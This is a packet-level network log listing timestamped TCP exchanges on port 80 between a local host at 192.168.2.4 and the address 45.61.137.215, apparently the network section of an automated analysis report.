May 27, 2024 08:32:45.589622974 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589647055 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.589658022 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589680910 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.589690924 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589711905 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.589726925 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589740992 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.589778900 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.595072985 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.595108986 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.595141888 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.595148087 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.595170975 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.595175028 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.595194101 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.595221996 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.747983932 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.752963066 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.753073931 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.756036043 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.760967970 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.761205912 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.766143084 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884399891 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884454012 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884505033 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884536028 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884560108 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884567976 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884598970 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884618044 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884650946 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884661913 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884680033 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884685040 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884701014 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884712934 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884747028 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.884757042 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884788990 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.884805918 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.889770031 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.889822006 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.889834881 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.889853954 CEST	80	49760	45.61.137.215	192.168.2.4
May 27, 2024 08:32:47.889875889 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:47.889904022 CEST	49760	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:48.028958082 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:48.034060001 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:48.034137011 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:48.035851002 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:48.040740967 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:48.040802002 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:48.045897961 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171703100 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171736956 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171770096 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171802044 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171849012 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.171855927 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171889067 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171905041 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.171925068 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171936035 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.171952963 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.171983004 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.172000885 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.172017097 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.172060966 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.178076029 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.178248882 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.178281069 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.178311110 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.178313017 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.178360939 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.263278961 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263312101 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263344049 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263375998 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263427973 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263439894 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.263464928 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263501883 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263529062 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.263533115 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263566017 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263582945 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.263597965 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263631105 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263643026 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.263660908 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263695002 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263712883 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:50.263732910 CEST	80	49761	45.61.137.215	192.168.2.4
May 27, 2024 08:32:50.263783932 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:51.447629929 CEST	49761	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:51.590158939 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:51.595124960 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:51.595220089 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:51.597201109 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:51.602081060 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:51.602142096 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:51.607721090 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746386051 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746417046 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746429920 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746439934 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746450901 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746460915 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746469975 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746488094 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746501923 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746512890 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.746773005 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.746974945 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.752547026 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.752568007 CEST	80	49762	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.752685070 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.752710104 CEST	49762	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.926783085 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.931763887 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.931835890 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.933876038 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.938736916 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:53.938790083 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:53.943625927 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188060045 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188091993 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188143015 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188183069 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188193083 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188244104 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188245058 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188261032 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188276052 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188293934 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188309908 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188338041 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188340902 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188363075 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188369036 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188395023 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188409090 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.188424110 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.188457012 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.193305969 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.193337917 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.193367004 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.193372965 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.193396091 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.193408012 CEST	80	49763	45.61.137.215	192.168.2.4
May 27, 2024 08:32:56.193422079 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:56.193454981 CEST	49763	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:57.198168993 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:57.203217983 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:57.203375101 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:57.234371901 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:57.241015911 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:57.241089106 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:57.247648001 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.363845110 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.363871098 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.363883972 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.363904953 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.363919973 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.363982916 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.364008904 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.364037037 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.364052057 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.364181995 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.364249945 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.364275932 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.364331007 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.364351988 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.364439011 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.368935108 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.368952990 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.368967056 CEST	80	49764	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.369018078 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.369117022 CEST	49764	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.544970036 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.549864054 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.549948931 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.553248882 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.558182001 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:32:59.558264971 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:59.563150883 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681168079 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681232929 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681247950 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681323051 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.681324005 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681396961 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681421041 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681483984 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.681483984 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.681864977 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681879044 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681894064 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.681915998 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.682384014 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.682434082 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.686554909 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.686609983 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.686625957 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.686640024 CEST	80	49765	45.61.137.215	192.168.2.4
May 27, 2024 08:33:04.686665058 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.686688900 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:04.689280033 CEST	49765	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:05.311774969 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:05.316699028 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:05.316827059 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:05.319792032 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:05.324639082 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:05.324711084 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:05.329547882 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441765070 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441808939 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441833973 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441852093 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441890001 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441905022 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441930056 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.441947937 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.441976070 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.442094088 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.442157984 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.442212105 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.442240000 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.442250967 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.442342997 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.448544025 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.448592901 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.448611975 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.448621035 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.448642015 CEST	80	49767	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.448692083 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.448779106 CEST	49767	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.934004068 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.938994884 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.939071894 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.940840960 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.945810080 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:07.945858002 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:07.950695038 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080249071 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080281019 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080312967 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080327034 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080329895 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080354929 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080375910 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080383062 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080399036 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080413103 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080414057 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080426931 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080445051 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080451965 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080476046 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.080476046 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080493927 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.080518007 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.086522102 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.086569071 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.086858988 CEST	80	49768	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.087052107 CEST	49768	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.397114038 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.402528048 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.402643919 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.404395103 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.410819054 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:10.410917997 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:10.415767908 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489229918 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489263058 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489288092 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489308119 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489312887 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.489330053 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489356995 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489360094 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.489381075 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489402056 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.489403009 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489427090 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489444971 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.489447117 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.489478111 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.489479065 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.489494085 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.494402885 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.494420052 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.494447947 CEST	80	49769	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.494453907 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.494471073 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.494498968 CEST	49769	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.634254932 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.639331102 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.639414072 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.641160011 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.646049023 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:12.646167994 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:12.651113033 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786736012 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786771059 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786796093 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786818981 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786834955 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786859989 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786895037 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786914110 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786935091 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786957979 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.786989927 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.787189007 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.787189007 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.787236929 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.792262077 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.792290926 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.792318106 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.792336941 CEST	80	49770	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.792448044 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.792448044 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.792448044 CEST	49770	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.943713903 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.948745012 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.948878050 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.951788902 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.956928015 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:14.957004070 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:14.961929083 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072299957 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072321892 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072339058 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072349072 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072365999 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072376013 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072490931 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.072491884 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.072510004 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072555065 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.072571039 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.072572947 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072583914 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.072623014 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.072725058 CEST	80	49771	45.61.137.215	192.168.2.4
